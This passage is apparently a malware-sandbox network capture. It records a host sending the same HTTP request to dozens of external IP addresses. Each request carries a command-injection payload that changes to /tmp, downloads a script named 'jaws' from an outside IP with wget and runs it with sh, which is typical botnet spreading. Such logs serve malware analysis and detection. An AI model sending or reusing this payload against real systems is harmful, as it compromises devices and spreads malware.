Jun 1, 2024 18:15:55.268346071 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.23	37426	88.57.152.134	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268368006 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.23	50962	181.111.33.4	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268402100 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.23	42592	134.20.23.86	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268431902 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.23	39326	119.120.56.238	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268455029 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.23	44224	17.7.166.25	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268492937 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.23	36644	208.229.32.27	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.268527985 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.23	33304	117.221.193.160	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.272090912 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.23	45794	85.180.164.31	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.272495031 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.23	55190	77.114.121.8	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.272558928 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.23	34184	169.128.130.40	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.272624969 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.23	60438	2.243.242.44	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.272711039 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.23	38762	67.103.151.78	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.272742987 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.23	47646	120.22.130.14	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.224350929 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.23	57186	17.87.254.21	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.224421978 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.23	58842	81.92.36.148	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.224464893 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.23	53508	177.237.184.162	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244111061 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.23	56476	36.17.37.52	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244182110 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.23	38836	19.188.175.96	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244374037 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.23	46316	117.23.22.23	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244457960 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.23	56334	45.33.63.82	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244558096 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.23	53316	188.170.231.160	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244627953 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.23	52258	185.108.7.250	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244662046 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.23	47080	85.214.28.20	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244800091 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.23	54968	90.145.31.137	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244829893 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.23	44768	27.59.60.107	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244879007 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.23	37372	57.33.20.180	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.244905949 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.23	45024	201.6.73.207	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245224953 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.23	52570	204.99.201.107	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245249033 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.23	50556	159.201.245.13	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245292902 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.23	54684	37.201.193.121	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245385885 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.23	59018	219.119.143.84	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245426893 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.23	41602	104.124.188.94	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245456934 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.23	42136	42.133.131.181	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245497942 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.23	41354	122.96.155.142	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245549917 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.23	52106	165.160.100.184	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245577097 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.23	49634	13.25.240.24	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245630026 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.23	49594	8.18.108.124	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245719910 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.23	59086	63.169.38.14	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245784044 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.23	52912	118.247.151.83	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245946884 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.23	39866	119.181.107.102	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.245976925 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.23	35452	87.238.251.102	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246059895 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.23	37370	198.54.147.248	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246140957 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.23	58268	92.66.196.17	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246171951 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.23	47938	52.6.122.212	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246217966 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.23	32796	73.230.71.26	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246253967 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.23	48698	42.99.218.12	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246300936 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.23	47646	108.218.98.173	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246355057 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.23	33772	141.114.69.138	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246393919 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.23	54018	115.7.126.94	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246424913 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.23	50956	72.8.191.18	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246473074 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.23	52478	172.189.208.197	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246505022 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.23	40260	39.154.44.113	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246557951 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.23	35082	83.217.140.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246669054 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.23	55516	27.184.243.158	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246696949 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.23	37954	183.59.59.222	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246747971 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.23	42388	58.54.35.204	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246777058 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.23	43896	38.25.43.161	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246812105 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.23	49412	86.86.105.40	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246876001 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.23	35964	117.183.217.79	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246905088 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.23	48018	146.123.63.93	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246953011 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.23	57912	133.6.1.52	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.246983051 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.23	53500	52.63.251.95	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.247051001 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.23	45154	2.239.207.135	80

Timestamp	Bytes transferred	Direction	Data
